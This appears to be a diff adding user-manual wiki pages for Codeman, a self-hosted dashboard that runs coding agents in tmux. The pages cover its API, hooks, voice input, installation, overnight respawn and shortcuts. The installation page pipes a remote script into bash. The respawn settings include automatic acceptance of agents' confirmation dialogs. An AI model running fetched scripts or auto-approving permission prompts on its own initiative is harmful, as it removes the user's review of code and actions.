+{ "success": false, "error": "human readable", "errorCode": "NOT_FOUND" }
+```
+
+A few legacy GET handlers return bare bodies rather than the envelope, so a robust client
+reads `body.data ?? body`.
+
+Branch on `errorCode`, which is stable. The HTTP status is reliable too:
+
+| `errorCode`        | HTTP | Meaning                                          |
+| ------------------ | ---- | ------------------------------------------------ |
+| `INVALID_INPUT`    | 400  | Malformed request or failed validation.           |
+| `UNAUTHORIZED`     | 401  | Authentication required or failed.                |
+| `NOT_FOUND`        | 404  | No such resource.                                 |
+| `SESSION_BUSY`     | 409  | The session is busy.                              |
+| `CONFLICT`         | 409  | Conflicts with current state.                     |
+| `ALREADY_EXISTS`   | 409  | Resource already exists.                          |
+| `OPERATION_FAILED` | 422  | Well formed, could not be completed.              |
+| `RATE_LIMITED`     | 429  | Too many requests.                                |
+| `INTERNAL_ERROR`   | 500  | Unexpected server error.                          |
+
+New error codes are non-breaking. Removing or renaming one is a major change.
+
+**A `401` is the bare string `Unauthorized`, not the envelope.** Piping it into `jq` throws
+a parse error rather than showing the failure, so check the status first.
+
+## Authentication
+
+With no password set, and the default loopback bind, there is none. With `CODEMAN_PASSWORD`
+set, use HTTP Basic or the session cookie:
+
+```bash
+curl -s -u admin:"$CODEMAN_PASSWORD" "$API/api/sessions"
+```
+
+A **missing** `Origin` header is allowed, so curl and CLI tools work unchanged. A
+present-but-foreign origin is rejected by the CSRF guard. On an HTTPS install with the
+self-signed certificate, add `-k`.
+
+## Endpoint map
+
+Roughly 200 handlers across 24 route modules. By domain:
+
+| Domain              | Handlers | Covers                                              |

+| Sessions            | 34       | Create, input, terminal, wait, kill.                 |
+| Cases               | 29       | Create, link, clone, remote and docker cases.        |
+| Files               | 16       | Preview, edit, raw, attachments, path picker.        |

+| Respawn             | 7        | Respawn configuration and presets.                    |
+| Webviews            | 6        | Saved dashboards, plus the proxy.                     |
+| Mux                 | 5        | tmux operations.                                      |
+| Push                | 4        | Web push subscriptions.                               |
+| Read My Mind        | 4        | Intent profiles and prediction.                       |
+| Scheduled           | 4        | The legacy scheduled-run concept.                     |
+| Approvals           | 3        | The inbox and answering.                              |
+| Teams, me, search, hooks, clipboard, telemetry, voice, ws | 1-2 each | |
+
+Each route module documents its own endpoints in its file header.
+
+## Long-polling instead of polling
+
+Three calls block until something happens, so an agent driving Codeman from a shell can wait
+rather than spin:
+
+| Call                                      | Blocks until                                             |
+| ----------------------------------------- | -------------------------------------------------------- |
+| `GET /api/v1/sessions/:id/wait`           | One of a set of lifecycle signals fires.                  |
+| `GET /api/v1/sessions/:id/wait-output`    | A literal string appears in the session's output.         |
+| `POST /api/v1/sessions/:id/input` + `wait`| The input is delivered **and then** a signal fires.       |
+
+Three semantics that break callers who assume otherwise:
+
+1. **A timeout is `200`, not an error.** It answers with `wait.timedOut: true`. Loop over
+   short waits; a single long call gets cut by tunnels and proxies.
+2. **Send-and-wait is not a POST followed by a wait.** It registers the waiter *before*
+   writing, which closes the window where a separate wait sees the session still idle from
+   the previous turn and answers instantly about the wrong turn.
+3. **Signals are edge triggered with no history.** One that fires with no waiter registered
+   is unobservable afterwards. Fan-outs must register their waits as they dispatch.
+
+`wait-output` matches a **literal substring, never a regex.** That is deliberate: no regex
+means no catastrophic backtracking on attacker-influenced output.
+
+Only `claude` sessions emit `stop` and `blocked`, because those come from Claude Code hooks.
+Shell and external CLI sessions accept `idle`, `working`, and `exit`.
+
+## SSE
+
+`GET /api/events` is the live event stream. 155 event names, kept in sync between server and
+client with a test that fails on drift.
+
+The heartbeat is a **named** `sse:heartbeat` event rather than an SSE comment, because
+comments are invisible to `EventSource` by specification and a client could not observe
+them. That is what lets the browser detect a stream that has silently stopped delivering.
+
+```js
+const es = new EventSource('/api/events');
+es.addEventListener('session:created', (e) => console.log(JSON.parse(e.data)));
+```
+
+## Quick examples
+
+```bash
+API="${CODEMAN_API_URL:-http://localhost:3000}"
+
+curl -s "$API/api/status" | jq                     # whole-system snapshot
+curl -s "$API/api/sessions" | jq '.data[].name'    # live sessions
+curl -s "$API/api/sessions/unified" | jq           # live + historical, deduped
+curl -s "$API/api/subagents" | jq                  # background agents
+curl -s "$API/api/search?q=deploy" | jq            # cross-session search
+```
+
+## Limits
+
+| Limit                 | Default                                    |

+| Max sessions          | 50                                          |

+Codeman runs your coding agents on your own machine and puts them behind one dashboard you
+can open from any device. It spawns Claude Code, OpenCode, Codex, Antigravity, Gemini, or
+Pi inside persistent tmux sessions, streams the real terminal to the browser, and keeps
+working while you are away from the keyboard: it re-prompts idle agents, resumes when a
+subscription limit resets, runs jobs on a schedule, and shows every background subagent
+live.
+
+This wiki is the manual. The [README](https://github.com/Ark0N/Codeman) is the overview,

+# Hooks and Integrations
+
+Events flowing **back** into Codeman, and the four seams a third party can build against.
+
+## Hooks
+
+Claude Code can run a command when something happens in a session. Codeman writes a hooks
+configuration into each Claude case so those events post back to it, which is what turns a
+terminal into something that can notify you.
+
+| Event                  | Fires when                                      | Drives                                        |
+| ---------------------- | ----------------------------------------------- | --------------------------------------------- |
+| `permission_prompt`    | The agent asks for permission.                   | Red tab alert, Approvals Inbox, push.          |
+| `idle_prompt`          | The agent is waiting for input.                  | Yellow tab alert, the `idle` wait signal.      |
+| `stop`                 | A turn ends.                                     | The `stop` wait signal, idle detection.        |
+| `elicitation_dialog`   | A dialog opens.                                  | Approvals Inbox.                               |
+| `elicitation_complete` | The dialog closes.                               | Clearing the alert.                            |
+| `elicitation_response` | The dialog is answered.                          | Clearing the alert.                            |
+| `teammate_idle`        | An agent-team member goes idle.                  | Team surfaces.                                 |
+| `task_completed`       | A task finishes.                                 | Task tracking, run summary.                    |
+
+This is why several Codeman features are Claude-only. The other CLIs have no hook system, so
+for them Codeman watches terminal output, which reveals that something happened but not what
+it was.
+
+### How hooks get installed
+
+Codeman writes them into the case when a Claude session is created. Hook blocks are
+**marker-owned**: Codeman only ever updates a block it wrote, and never touches
+configuration you added yourself.
+
+If tab alerts and approvals never fire in a particular case, that case is missing its hook
+block. Recreating the case rewrites it.
+
+### The hook secret
+
+`/api/hook-event` and `/api/status-telemetry` skip HTTP Basic authentication, because they
+are called from localhost by the CLI itself. When authentication is on, that bypass
+additionally requires a per-instance hook secret, because Codeman cannot tell a genuine
+loopback call from a request arriving through your own loopback reverse proxy.
+
+The secret lives in the data directory, and its path is exported into every managed session.
+
+### Two things that break hooks
+
+- **HTTPS.** Hook callbacks must accept the self-signed certificate. Recent versions
+  self-heal existing cases; older cases need recreating.
+- **Docker cases on a loopback bind.** A container cannot reach `127.0.0.1` on the host, so
+  in-container hooks silently do not fire. Set `CODEMAN_DOCKER_BRIDGE_HOOKS=1` to open a
+  hooks-only listener on the bridge gateway. See [Docker Cases](Docker-Cases).
+
+## Integration seams
+
+Codeman has **no plugin runtime**, and that is a decision rather than a gap. A plugin runtime
+means running third-party code inside a process that spawns agents with your credentials, on
+a server people routinely expose over a tunnel. Codeman's security posture is one of its
+reasons to exist, so it does not trade that away for an extension mechanism.
+
+What exists instead is four documented seams.
+
+### 1. Web tabs
+
+Anything with a web UI can live inside Codeman as a tab, proxied through Codeman's own
+origin. The lowest-effort integration by a wide margin: if your tool has a dashboard, it can
+sit beside the agents with no code at all. See [Web Tabs](Web-Tabs).
+
+### 2. SSE events
+
+`GET /api/events` streams everything Codeman knows: session lifecycle, output, agent
+activity, approvals, cron runs. 155 named events, stable under semantic versioning.
+
+This is the seam for anything that reacts. A bot that pings your chat channel when an agent
+needs a human is a short script over this stream.
+
+### 3. HTTP API and CLI
+
+Everything the dashboard does. Create sessions, send input, block on wait primitives, read
+terminals, manage cron. See [HTTP API](HTTP-API) and
+[Driving Codeman From An Agent](Driving-Codeman-From-An-Agent).
+
+### 4. Hooks
+
+The seam above, in the other direction: your own hook commands can run alongside Codeman's
+in a case, as long as you leave Codeman's marker-owned block alone.
+
+## Publishing an integration
+
+There is no registry to submit to. Share it in
+[Show and tell](https://github.com/Ark0N/Codeman/discussions/300), and if it needs a change
+in Codeman to work properly, open an issue or a Discussion first.

+# Input and Voice
+
+Getting words into an agent: typing, dictating, and letting Codeman guess. Plus the input
+machinery that only shows up when it goes wrong.
+
+## Typing
+
+Click into the terminal and type. It is a real terminal, so everything the CLI supports
+works, slash commands included.
+
+| Key                          | Effect                                        |
+| ---------------------------- | --------------------------------------------- |
+| `Enter`                      | Send.                                          |
+| `Shift+Enter` / `Ctrl+Enter` | Newline without sending.                       |
+| `Ctrl+C`                     | Copy if text is selected, otherwise interrupt. |
+| `Ctrl+Shift+C`               | Copy, never interrupts.                        |
+| `Ctrl+L`                     | Clear the terminal.                            |
+
+### Exactly-once delivery
+
+Browser input goes through a durable layer rather than a plain socket write. Each prompt
+carries a stable client id and a per-session sequence number, held in local storage until
+the server acknowledges it.
+
+The result is the property you want on a phone: a connection that drops mid-prompt never
+loses the prompt and never delivers it twice. Two browser tabs on the same session coexist,
+and only a reconnect from the *same* tab supersedes the old connection.
+
+## Zero-lag local echo
+
+On touch devices, keystrokes are painted in the terminal immediately and sent when you press
+Enter, instead of waiting for each character to round-trip to the server and back. Over a
+mobile connection that is the difference between usable and not.
+
+![Zero-lag input](https://raw.githubusercontent.com/Ark0N/Codeman/master/docs/images/zerolag-demo-20260728.gif)
+
+The consequence to remember: **text on screen has not necessarily reached the agent yet.**
+It is flushed on Enter. If a prompt appears to have been ignored, press Enter, or the phone
+toolbar's **Enter** button.
+
+Default on for touch devices, off for desktop, and switchable in
+**App Settings → Terminal & Input**.
+
+### Codex is different on purpose
+
+Codex's composer reacts to every keystroke: `/` opens a live-filtering picker, arrows edit
+state on its side, the composer grows as text wraps. Buffering until Enter starved it, so
+Codex sessions use **predictive echo** instead: each keystroke is painted at its predicted
+position while the bytes actually sent stay identical to what you typed. Predictions
+reconcile against the real buffer and only apply while the cursor is on the composer row.
+
+## CJK input
+
+Chinese, Japanese, and Korean input needs an IME, and an IME needs a real text field.
+Turning on CJK input in **App Settings → Terminal & Input** puts an always-visible textarea
+below the terminal that owns composition, then delivers the composed text to the session.
+
+## Voice dictation
+
+`Ctrl+Shift+V`, or the microphone button. There are three providers and the default is
+`auto`, which prefers them in this order:
+
+| Provider           | Needs                                          | Notes                                                        |
+| ------------------ | ---------------------------------------------- | ------------------------------------------------------------ |
+| **Claude**         | Claude Code logged in on the server. Opt-in.    | Uses this machine's existing Claude login. No extra key.      |
+| **Deepgram**       | A Deepgram API key.                            | Nova-3, with automatic silence detection.                     |
+| **Web Speech**     | Nothing.                                       | Browser-provided, quality varies.                             |
+
+### Dictating through your Claude login
+
+Off by default; enable it in **App Settings → Voice**.
+
+Claude Code has its own voice mode, but it opens the **host's** microphone, and in Codeman
+the CLI runs headless in a tmux pane while you are in a browser somewhere else entirely. So
+Codeman captures audio in your browser and borrows only the backend: audio goes browser to
+Codeman to Anthropic, and the page never sees the OAuth token.
+
+Two deliberate limits:
+
+- **Credentials are read only.** Codeman never refreshes your Claude token, because a
+  refresh rotates the refresh token and could sign you out of your own CLI. An expired token
+  is reported as expired rather than silently renewed.
+- **Capture is raw PCM** at 16 kHz mono, which requires an AudioWorklet rather than the
+  usual browser recorder.
+
+## Read My Mind
+
+**Claude only, off by default.** Turn it on in **App Settings**, and a 🧠 button appears in
+the header (on phones, in the keyboard bar instead).
+
+It keeps a per-case **intent profile**: goals you or your agent write down, plus the prompts
+you actually submitted in that case. Pressing 🧠 feeds that profile plus live session signals
+to a single model call and shows a predicted next prompt.
+
+What you can do with the result:
+
+- **Send** it, **Insert** it into the composer, or edit it first.
+- Pick one of the alternate suggestions, which swaps into the editable field without losing
+  your edits.
+- **Rethink**, optionally with a steer note, to reject the whole set and try again.
+
+**Nothing is ever sent automatically.** Every path requires a click.
+
+Where the data lives: the profile is keyed by owner and the resolved working directory, so
+it survives `/clear` and respawns. Prompts can contain secrets, so the store is written
+0600 and is deliberately excluded from cross-session search.
+
+Guide: [`docs/readmymind.md`](https://github.com/Ark0N/Codeman/blob/master/docs/readmymind.md).
+
+## Programmatic input
+
+Sending prompts over the API has one rule that catches everyone: **the payload must end with
+`\r`** or Enter is never sent. The request still succeeds, the text sits unsubmitted in the
+composer, and any wait burns its whole timeout on a turn that never started.
+
+Input is also **single line**. Embedded newlines are stripped rather than rejected, so
+`"echo A\necho B\r"` runs the joined `echo Aecho B`. Put multi-line content in a file and
+tell the agent to read it.
+
+See [Driving Codeman From An Agent](Driving-Codeman-From-An-Agent).
+
+## Gotchas
+
+- **Typed text sitting on screen has not been sent.** Press Enter.
+- **`Ctrl+C` with a selection copies.** Clear the selection to interrupt.
+- **Voice needs HTTPS.** Microphone access requires a secure context, same as push
+  notifications.
+- **Read My Mind goes blind for sessions using a relocated Claude config directory**, along
+  with the other transcript-backed features. See [Agent CLIs](Agent-CLIs).

+# Installation
+
+Getting Codeman onto a machine, verifying it works, updating it, and removing it.
+
+## Requirements
+
+| Requirement      | Notes                                                                                                                                  |

+| **macOS or Linux** | Windows works through WSL2. See [Windows](#windows-wsl) below.                                                                        |
+| **Node.js 22+**  | The installer offers to install it if missing.                                                                                          |
+| **tmux**         | Not optional. Sessions live inside tmux, which is what makes them survive a server restart, a dropped connection, or a closed laptop.    |
+| **An agent CLI** | At least one of [Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), [Codex](https://developers.openai.com/codex/cli), [Antigravity](https://antigravity.google), [Gemini CLI](https://github.com/google-gemini/gemini-cli), [Pi](https://pi.dev). Plain shell sessions need none. See [Agent CLIs](Agent-CLIs). |
+
+Codeman itself sends no telemetry and phones no home. The only network traffic is your
+browser to your server, and whatever the agent CLI you chose does on its own.
+
+## Route A: the installer (recommended)
+
+```bash
+curl -fsSL https://getcodeman.com/install | bash
+```
+
+This installs Node.js and tmux if they are missing, clones Codeman into `~/.codeman/app`,
+and builds it.
+
+What it asks you:
+
+1. **Permission for every system change.** Package installs and agent CLI downloads are
+   prompted individually. Nothing is installed silently.
+2. **How the dashboard should be reachable.** Three choices:
+   - **Tailscale** (recommended for phone access): keeps the loopback bind and walks you
+     through `tailscale serve`, including the tailnet HTTPS toggle, then verifies the result
+     end to end.
+   - **Your local network** (`0.0.0.0`): prompts for a password. Skipping the password takes
+     an explicit confirmation and ends on a loud warning.
+   - **This machine only** (`127.0.0.1`): the safest option, and the default for a bare
+     `codeman web` regardless of what you pick here.
+
+   Which one is preselected depends on what the installer finds. A fresh install defaults to
+   the local network, unless Tailscale is already connected, in which case it defaults to
+   Tailscale. An existing loopback install defaults to keeping loopback, or to Tailscale when
+   a serve mapping for Codeman is already there. A bare Enter never pulls in new software,
+   and a non-interactive run always keeps the safe loopback default.
+3. **What to do when it finishes.** Run in this terminal, install as a background service
+   that starts on boot, or do nothing yet.
+
+Re-running the same one-liner **updates an existing install in place**. Local changes in
+`~/.codeman/app` are stashed rather than discarded, a running service is restarted and
+verified, and your existing network binding is preserved. An interrupted first install
+resumes instead of restarting.
+
+Two other entry points exist:
+
+```bash
+install.sh update       # update only
+install.sh uninstall    # remove
+install.sh tailscale    # retrofit Tailscale access onto an existing install
+```
+
+**Automation and CI**: with no terminal attached, any step that would change the system
+aborts with instructions instead of running silently. Set `CODEMAN_NONINTERACTIVE=1` to
+approve those steps. `CODEMAN_TAILSCALE=1` preselects the Tailscale answer, and never
+installs Tailscale itself non-interactively.
+
+## Route B: npm
+
+```bash
+npm install -g aicodeman
+codeman web
+```
+
+The npm package is named `aicodeman`; the product is Codeman. Both `codeman` and
+`aicodeman` are installed as commands.
+
+The trade-off against Route A: no guided network setup, and the in-app self-updater does
+not apply. npm installs report as non-updatable in **App Settings → System → Updates**, and
+you update with `npm update -g aicodeman`.
+
+## Route C: git clone
+
+For contributing, or for running unreleased code.
+
+```bash
+git clone https://github.com/Ark0N/Codeman.git
+cd Codeman
+npm install            # postinstall builds the vendored xterm addon bundles
+npm run dev            # dev server on http://localhost:3000
+```
+
+For a production run from a clone:
+
+```bash
+npm run build
+npm run start
+```
+
+`npm run dev` runs TypeScript directly through `tsx` with no build step. The frontend is
+plain JavaScript served from `src/web/public/` with no bundler, so editing a `.js` or `.css`
+file and reloading the page is enough. The one exception is `index.html`, which is read once
+at server start, so markup changes need a restart.
+
+See [Contributing](Contributing) for the rest of the development loop.
+
+## Installing an agent CLI
+
+Codeman drives CLIs, it does not bundle them. Install at least one:
+
+| CLI             | Install                                                            | Notes                                                                      |
+| --------------- | ------------------------------------------------------------------ | -------------------------------------------------------------------------- |
+| **Claude Code** | `npm i -g @anthropic-ai/claude-code`                               | The primary target. Some Codeman features are Claude-only: see [Agent CLIs](Agent-CLIs). |

+Log each CLI in once, by hand, before pointing Codeman at it. Codeman never collects or

+
+## Verify the install
+
+```bash
+codeman doctor          # checks Node, tmux, the agent CLIs, document converters
+codeman --version
+codeman web             # then open http://localhost:3000
+```
+
+`codeman doctor --json` gives machine-readable output, and `--category core` narrows it to
+the things a session cannot start without.
+
+If the dashboard loads and **+ New Session** opens, you are done. Continue to
+[Quick Start](Quick-Start).
+
+## Where things live
+
+| Path                    | What                                                                                             |
+| ----------------------- | ------------------------------------------------------------------------------------------------ |
+| `~/.codeman/app`        | The installed code (installer route only).                                                        |
+| `~/.codeman/`           | All state: `state.json`, settings, session history, push keys, TLS certs. See [Core Concepts](Core-Concepts). |
+| `~/codeman-cases/`      | Cases created from scratch. Linked cases stay wherever they already are.                          |
+| `~/.codeman/web.log`    | Log for a detached (`-d`) server.                                                                 |
+
+Everything is under your home directory, and nothing needs root.
+
+## Keeping it running
+
+A bare `codeman web` dies with the shell that started it. Two ways to outlive that:
+
+```bash
+codeman web -d          # detached; --status and --stop manage it
+codeman service install # systemd user unit or macOS LaunchAgent; survives reboots
+```
+
+Full detail, including logs and the self-updater, is in
+[Running As A Service](Running-As-A-Service).
+
+## Updating
+
+| Install route | How to update                                                     |
+| ------------- | ----------------------------------------------------------------- |
+| Installer     | Re-run the one-liner, or **App Settings → System → Updates** in the UI. |
+| npm           | `npm update -g aicodeman`                                          |
+| git clone     | `git pull && npm install && npm run build`, then restart.          |
+
+The in-app updater covers git-clone installs supervised by systemd or launchd. It restarts
+the process that is running it, so the actual work happens in a detached script and the
+browser polls across the restart. Progress appears in the UI.
+
+## Uninstalling
+
+```bash
+install.sh uninstall            # installer route
+npm uninstall -g aicodeman      # npm route
+```
+
+Neither removes `~/.codeman/` or `~/codeman-cases/`. Delete those by hand if you want the
+state and your case folders gone as well, and check `~/codeman-cases/` first: linked cases
+point at directories you already had, but cases created from scratch have their only copy
+there.
+
+Running tmux sessions are not killed by an uninstall. `tmux -L codeman kill-server` ends
+them.
+
+## Windows (WSL)
+
+```powershell
+wsl bash -c "curl -fsSL https://getcodeman.com/install | bash"
+```
+
+Codeman requires tmux, so Windows runs it inside
+[WSL2](https://learn.microsoft.com/en-us/windows/wsl/install). If you do not have WSL yet:
+run `wsl --install` in an admin PowerShell, reboot, open Ubuntu, and install your agent CLI
+*inside* WSL. `http://localhost:3000` then works from your Windows browser.
+
+Work inside the Linux filesystem (`~/project`), not `/mnt/c/...`. Filesystem watching and
+git are both dramatically slower across the Windows mount, and agents notice.
+
+## macOS notes
+
+**`Error: posix_spawnp failed.` on every session start.** node-pty publishes its macOS
+`spawn-helper` without the executable bit, and macOS launches every PTY through it. Codeman
+detects this and repairs it automatically on the first failure. If you hit it on a clone
+install and want to fix it by hand:
+
+```bash
+npm run fix:node-pty
+```
+
+This is a `chmod`, not a rebuild. Look in `prebuilds/darwin-<arch>/`, not
+`build/Release/`, which does not exist on macOS. Linux cannot reproduce this.
+
+**launchd and PATH.** A LaunchAgent gets `/usr/bin:/bin:/usr/sbin:/sbin`, which finds
+neither a Homebrew or nvm `node` nor `tmux` or `claude`. `codeman service install` bakes
+your current PATH into the unit for exactly this reason, so prefer it over a hand-written
+plist.
+
+## Gotchas
+
+- **`tmux: command not found` after a successful install.** The installer asks before
+  installing packages, and a declined prompt is a valid answer it remembers. Install tmux
+  and re-run.
+- **Port 3000 in use.** `codeman web --port 8080`, or set `CODEMAN_PORT`.
+- **Two Codemans on one machine.** The data directory and the tmux socket are both process
+  wide, so a second instance discovers and attaches the first one's live sessions. Give each
+  a distinct `CODEMAN_INSTANCE` before starting a second. See [Core Concepts](Core-Concepts).
+- **The dashboard is not reachable from your phone.** That is the default, not a fault. The
+  server binds `127.0.0.1`. See [Remote Access](Remote-Access).

+# Keeping Agents Running
+
+Codeman exists for the hours you are not at the keyboard. This page covers how it notices an
+agent has stopped, what it does about it, and how to run a session overnight without
+babysitting it.
+
+Everything here is **per session and off by default**. A session you never configure just
+sits there when it finishes, which is usually what you want.
+
+## How Codeman knows an agent is idle
+
+Harder than it sounds, and worth understanding, because it is what every other feature here
+is built on.
+
+**For Claude sessions**, the naive signal does not work. Claude redraws its prompt marker
+roughly once a second all the way through a turn, so "saw a prompt, waited two seconds,
+called it idle" flipped working sessions to idle a couple of seconds into every turn. Its
+real working indicator is an animated line whose glyph and wording both change, and terminal
+repaints arrive in partial fragments, so matching it in the output stream does not work
+either.
+
+So Codeman waits for the pane to go quiet, then **asks the screen** what is on it before
+believing the session is idle. Turn-start detection works the same way in reverse: a
+sustained run of repaints marks a turn as started, with the same screen check vetoing mere
+keystroke echo. Idle now lands a few seconds after a turn genuinely ends.
+
+There are several layers stacked on that: a completion message from the CLI, an AI check,
+output silence, and token stability.
+
+**For every other CLI**, there are no hooks to lean on, so detection is output
+stabilization: the session is idle when output stops changing. Coarser, and it is why the
+features further down this page are Claude-only.
+
+## The Respawn Controller
+
+Respawn keeps a session working past the point where the agent would otherwise stop. When
+the session goes idle, Codeman runs a cycle and starts it again.
+
+A cycle is up to four steps, each optional:
+
+1. **Update prompt.** Ask the agent to write down where it got to, so the next round can pick
+   it up.
+2. **`/clear`.** Reset the context window.
+3. **`/init`.** Re-read the project's `CLAUDE.md`.
+4. **Kickstart prompt.** Tell it to continue.
+
+Steps 2 and 3 are what make long runs possible: without a context reset, a multi-hour
+session eventually spends its whole window on its own history.
+
+Configure it in **Session Options → Respawn**, then press **Enable**. It repeats until the
+duration you set runs out.
+
+| Setting                | What it controls                                                        |
+| ---------------------- | ----------------------------------------------------------------------- |
+| **Idle timeout**       | How long the session must be quiet before a cycle starts.                |
+| **Duration**           | How long the whole arrangement stays armed.                              |
+| **Inter-step delay**   | Pause between the steps above, so a step is not sent into a busy pane.    |
+| **`/clear` + `/init`** | Whether the context reset happens at all.                                |
+| **Update prompt**      | What the agent is asked to record before the reset.                      |
+| **Kickstart prompt**   | What starts the next round.                                              |
+| **Auto-accept prompts**| Answer routine confirmation dialogs automatically.                        |
+
+### Presets
+
+Five built-ins, and the numbers matter more than the names. The idle timeout is the main
+difference: a lead session coordinating subagents is legitimately silent for a minute at a
+time, and a three second timeout would interrupt it constantly.
+
+| Preset         | Idle timeout | Duration | Built for                                                       |
+| -------------- | ------------ | -------- | --------------------------------------------------------------- |
+| **Solo**       | 3s           | 60 min   | One agent working alone, fast cycles with a context reset.       |
+| **Subagents**  | 45s          | 240 min  | A lead session running Task subagents; tolerates their silences. |
+| **Team**       | 90s          | 480 min  | Leading an agent team; tolerates long silences.                  |
+| **Ralph/Todo** | 8s           | 480 min  | Working through a task list with progress tracking.              |
+| **Overnight**  | 10s          | 480 min  | Unattended overnight runs with a full reset between cycles.      |
+
+Start from the preset that matches your shape of work and adjust the idle timeout first.
+Presets you build yourself can be saved alongside these.
+
+### What it costs
+
+Every cycle is real tokens: the update prompt, the reset, and the kickstart, plus whatever
+work follows. An overnight run is a deliberate spend, not a background nicety. The duration
+setting is the ceiling, and it is worth setting honestly.
+
+## Auto-resume when a usage limit resets
+
+**Claude only.** At the top of the Respawn tab.
+
+When Claude halts on a subscription limit, the message names the time the limit resets.
+Codeman parses it, arms a timer for two minutes after that, then sends Escape followed by
+`continue`.
+
+The important part is what it does **not** do: respawn cycles are blocked while a session is
+limit-paused. Without that, the next cycle would fire `/clear` and wipe the conversation you
+are waiting to resume. This is the single most useful setting for overnight runs on a
+subscription plan.
+
+## The plan usage chip
+
+**Claude only.** A header chip showing live subscription usage, on by default on desktop and
+off on phones.
+
+It works by installing a status line exporter into Claude Code, which posts Claude's own
+rate limit data back to Codeman. The exporter is marker-identified, so it only ever touches
+a status line Codeman installed, never one you wrote yourself, and it prints your footer
+through so the in-terminal status line still works.
+
+The chip and the exporter are the same setting. Turning the chip on without the exporter
+would leave it showing a dash forever, so resolve it in one place: **App Settings**.
+
+## Circuit breakers
+
+Two, and they are unrelated:
+
+- **The Ralph breaker** stops respawn thrashing. It moves from closed to half-open to open,
+  and is reset from the session's Ralph controls.
+- **The PTY-exit breaker** trips when a session's process exits repeatedly and quickly, and
+  blocks automatic restarts so a broken configuration cannot spin forever.
+
+The PTY-exit breaker resets **only** on an explicit clear. Reattaching to the session does
+not clear it, deliberately, so a UI reconnect cannot paper over a session that is genuinely
+failing to start.
+
+## A working overnight setup
+
+1. Start a Claude session in the case you want worked on.
+2. Give it a clear goal and let it start. Respawn continues work, it does not invent it.
+3. **Session Options → Respawn → Overnight preset.**
+4. Turn on **auto-resume on usage limit**.
+5. Set the duration to how long you actually want it running.
+6. Press **Enable**.
+7. Optionally turn on push notifications so a blocking question reaches your phone: see
+   [Notifications And Approvals](Notifications-And-Approvals).
+
+In the morning, the **Away Digest** summarizes what happened while you were gone, and the
+run summary and lifecycle log carry the detail.
+
+## Gotchas
+
+- **Respawn without a context reset stalls eventually.** The window fills with history and
+  the agent gets less useful every cycle.
+- **An idle timeout that is too short interrupts real work.** If the agent runs long tool
+  calls or coordinates subagents, raise it. That is what the Subagents and Team presets are.
+- **The update prompt is what makes a reset survivable.** After `/clear`, everything the
+  agent knows comes from that summary and the project files. A vague update prompt produces
+  a vague next cycle.
+- **Non-Claude sessions can respawn**, but with output-based idle detection and no
+  usage-limit auto-resume.
+- **Do not run respawn on a session you are actively typing in.** It will send prompts
+  underneath you.

+# Keyboard Shortcuts
+
+Every binding, and how to change them. `Ctrl` also accepts `Cmd` on macOS.
+
+Press `Ctrl+?` in the app for the same list in a floating overlay.
+
+## Sessions and tabs
+
+| Shortcut                        | Action                                                          |
+| ------------------------------- | --------------------------------------------------------------- |
+| `Ctrl+K` (also `Cmd+K`, `Alt+K`)| Find an open session or start a new one.                         |
+| `Ctrl+W`                        | Kill the active session.                                         |
+| `Ctrl+Tab`                      | Next session.                                                    |
+| `Alt+[` / `Alt+]`               | Previous / next tab.                                             |
+| `Alt+1` to `Alt+9`              | Switch to tab N. Physical keys, so macOS Option layouts work.    |
+| `Ctrl+Shift+{` / `Ctrl+Shift+}` | Move the active tab left / right.                                |
+| `Alt+B`                         | Collapse / expand the session sidebar, when that layout is on.    |
+
+## Terminal
+
+| Shortcut                | Action                                                          |
+| ----------------------- | --------------------------------------------------------------- |
+| `Enter`                 | Send.                                                            |
+| `Shift+Enter`           | Insert a newline without sending.                                |
+| `Ctrl+Enter`            | Same.                                                            |
+| `Ctrl+C`                | Copy the selection, or interrupt when nothing is selected.       |
+| `Ctrl+Shift+C`          | Copy the selection. Never interrupts.                            |
+| `Ctrl+L`                | Clear the terminal.                                              |
+| `Ctrl+Shift+R`          | Restore terminal size.                                           |
+| `Ctrl` `+` / `Ctrl` `-` | Font size.                                                       |
+| `Shift+Wheel`           | Scroll the local buffer, even where the wheel is forwarded to the CLI. |
+
+## Everything else
+
+| Shortcut       | Action                          |
+| -------------- | ------------------------------- |
+| `Ctrl+Shift+V` | Toggle voice input.              |
+| `Ctrl+?`       | Shortcut reference overlay.      |
+| `Escape`       | Close panels and modals.         |
+
+## Rebinding
+
+**App Settings → Shortcuts.** Bindings live in a registry with per-user overrides, so a
+rebind is stored as an override on top of the default rather than replacing the table.
+
+Two things are deliberately not rebindable:
+
+- **`Ctrl+C` smart copy.** The generic dispatch loop calls `preventDefault()` on every
+  shortcut it handles, and doing that to `Ctrl+C` would swallow the interrupt when nothing
+  is selected. It is handled separately for that reason.
+- **`Escape`**, which closes whatever is open.
+
+## Why some chords behave oddly
+
+The terminal sees keystrokes before the app does. Any chord the app claims has to also be
+swallowed at the terminal layer, or xterm writes the control byte into the session as well
+as triggering the action. If you rebind something to a chord the terminal cares about
+(`Ctrl+D`, say), expect the CLI to see it too.
+
+`Alt+1` through `Alt+9` are matched on **physical key position** rather than the character
+produced, so macOS Option layouts that produce `¡™£` still switch tabs.
+
+## On phones
+
+There is no physical keyboard, so the equivalents live in the keyboard accessory bar: `Esc`,
+`Ctrl` as a one-shot modifier, `Tab`, arrows, and quick actions. See
+[Mobile Guide](Mobile-Guide).

+# Mobile Guide
+
+Codeman on a phone is not a shrunken desktop UI. It is the surface most of its design
+attention has gone into, because checking on an agent from a bus is the thing this software
+is for.
+
+<p align="center">
+  <img src="https://raw.githubusercontent.com/Ark0N/Codeman/master/docs/screenshots/mobile-session-keyboard-20260727.png" alt="Answering an agent prompt on a phone" width="300">
+</p>
+
+## Getting there
+
+1. **Set up access.** Tailscale is the recommended route and gives you real HTTPS. See
+   [Remote Access](Remote-Access).
+2. **Log in by QR.** Open the dashboard on your desktop and scan the code. No password
+   typing. Tokens are single use and rotate every 60 seconds.
+3. **Install it to your home screen.** On iOS this is mandatory for push notifications;
+   Safari does not deliver push to tabs. On Android it makes the app full screen.
+
+HTTPS matters for more than security here: microphone access and push notifications both
+require a secure context.
+
+## The layout
+
+| Element              | Where                                                                 |
+| -------------------- | --------------------------------------------------------------------- |
+| Header               | Fixed at the top, deliberately minimal. Desktop-only controls never appear. |
+| Tab strip            | Scrolls horizontally. The active tab is always scrolled into view.      |
+| Terminal             | The rest of the screen.                                                |
+| Toolbar              | Bottom: Run, Stop, **Enter**, case picker, voice, settings.             |
+| Keyboard bar         | Above the on-screen keyboard when it is open.                           |
+
